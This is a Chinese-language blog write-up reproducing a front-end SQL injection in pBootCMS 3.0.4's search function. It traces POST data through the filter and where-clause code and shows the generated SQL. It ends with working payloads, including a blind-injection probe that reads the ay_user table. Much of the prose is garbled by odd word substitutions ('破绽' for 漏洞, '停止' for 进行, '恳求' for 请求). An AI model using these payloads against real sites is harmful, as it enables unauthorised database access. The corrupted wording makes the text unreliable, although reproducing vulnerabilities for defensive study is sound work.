pBootCMS 3.0.4 前台注入漏洞复现

破绽点跟进

网上发布破绽点在/?p=search,POST数据:1=select 1,

apps/home/controller/ParserController.php的parserSearchLabel函数

图片[1]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

恳求的数据赋值给$receive停止遍历,$key进入request函数停止处置

跟进request函数,文件core/function/helper.php

图片[2]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

标定恳求类型POST或GET,结构变量

$condition = array(
        'd_source' => 'post',
        'd_type' => 'vars',
        'd_require' => false,
        $name => $key,
        'd_default' => null

    );

传送给filter($name, $condition)

跟进filter函数,文件core/function/helper.php

图片[3]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

赋值$data = @$_POST[$varname];,并停止去空格处置

图片[4]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

之后停止类型检测,正则匹配

图片[5]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

能够看到注入字符串只能包含中文、字母、数字、横线、点、逗号、空格。

最后停止return escape_string($data);处置。

继续跟进escape_string函数。文件core/function/handle.php

图片[6]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

停止了htmlspecialchars和addslashes转义。

数据经过一系列过滤后返回到apps/home/controller/ParserController.php文件的parserSearchLabel函数,赋值给$where3数组。

图片[7]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

继续跟着变量$where3,进入到读取数据函数

$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);

图片[8]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

跟进getList函数,文件apps/home/model/ParserModel.php

图片[9]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

函数中$select=$where3,

继续跟进$select变量

图片[10]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

进入where函数停止处置

继续跟进where函数

图片[11]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

能够看到条件之间运用AND停止衔接当传送的参数 $where 是一个数组时就遍历数组,当$where是一个索引数组时,则:$where_string.=$value。故而能够控制$where3为索引数组,进而完成sql注入。

 


 

payload数据流跟踪

停止post恳求搜索数据1=1时,在$where3变量下断点

图片[12]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

$where3=[1]

继续跟踪sql语句结构,经过一些类转换构成了sql语句

SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1)

最后时把输入的1=1转换成了条件中的AND (1)

图片[13]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

查询到一切信息

图片[14]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

当post数据为1=0时没抓到sql语句,用1=select 0抓到sql语句为

SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)

同样添加了AND(select 0)语句,sql注入可行。

图片[15]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

图片[16]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区
 


 

破绽应用

post传输数据

1=select 1 from ay_user where username regexp 0x61

能够停止盲注

图片[17]-pBootCMS 3.0.4 前台注入漏洞复现-孤勇者社区

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片